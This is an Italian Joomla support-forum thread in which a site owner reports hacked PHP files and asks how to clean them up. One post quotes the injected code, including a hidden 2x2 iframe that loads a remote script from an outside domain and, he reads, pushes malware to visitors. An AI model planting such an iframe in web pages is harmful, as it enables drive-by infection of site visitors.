Post

1

Sicurezza / Re:File php con stringhe e iframe sconosciuti

« il: 31 Mag 2011, 22:04:58 »

Contatori esterni no, avevo uno dei tanti moduli come contatore che si trovano in joomla extensions. Per adesso vi ringrazio, magari riscrivo domani quando sono più calmo perchè capisco che per voi sia difficile rimanere gentili e cortesi per così tanto tempo, in più fare tutto questo come volontariato ma visto che sono già abbastanza scocciato per questo problema rischio di flammare a ogni vostra risposta brusca e non mi sembrerebbe rispettoso nei confronti di nessuno. Comunque si la guida era quella. Grazie ancora.

2

Sicurezza / Re:File php con stringhe e iframe sconosciuti

« il: 31 Mag 2011, 21:48:16 »

Non avendo trovato il pulsante "spoiler" e avendo ipotizzato che l'upload di file fosse disattivato ho pensato fosse la soluzione più pratica e comunque non troppo ingombrante.

3

Sicurezza / Re:File php con stringhe e iframe sconosciuti

« il: 31 Mag 2011, 21:37:13 »

Queste sono le stringhe incriminate (sperando siano solo queste):

Codice: [Seleziona]

$somecrainsignvar="vno0zfuf"; echo


<iframe src='http://indometastan.in/in.cgi?default' width='2' height='2' frameborder='0'></iframe>

Se può creare dei problemi il fatto che le abbia postate cancellatele pure. Da quello che ho letto su internet pare che funzioni con un iframe che installa un qualche tipo di malware (o almeno ci prova) su tutte le macchine che visitano il sito...se è così è un grosso problema. Riuscireste per caso a confermare o smentire quello che ho letto?

ps. ho trovato questo sito che pare dia una soluzione definitiva, vi pare valida?
pps. link del report di Anubis Report
Grazie a tutti

4

Sicurezza / Re:File php con stringhe e iframe sconosciuti

« il: 31 Mag 2011, 20:49:08 »

Ok sbagliato io a pensare che potessi avere un aiuto in più rispetto alla guida. Grazie lo stesso.

5

Sicurezza / File php con stringhe e iframe sconosciuti

« il: 31 Mag 2011, 19:29:49 »

Ho spulciato un po' sul forum e da quello che speravo fosse un problema banale (errori sulla cache) ho invece scoperto vari file php modificati e che inchiodano il sito lato admin e fronted. Ho copiato le stringhe che ho scoperto fino ad ora nel caso vi possano essere di aiuto e magari, per i più esperti, trovarne la fonte ed eliminarla. Vi chiedo qualche consiglio sul da farsi (ho letto cmq la bellissima guida) anche se qualche dubbio sulla fonte l'ho già. Grazie in anticipo a tutti!

Mikk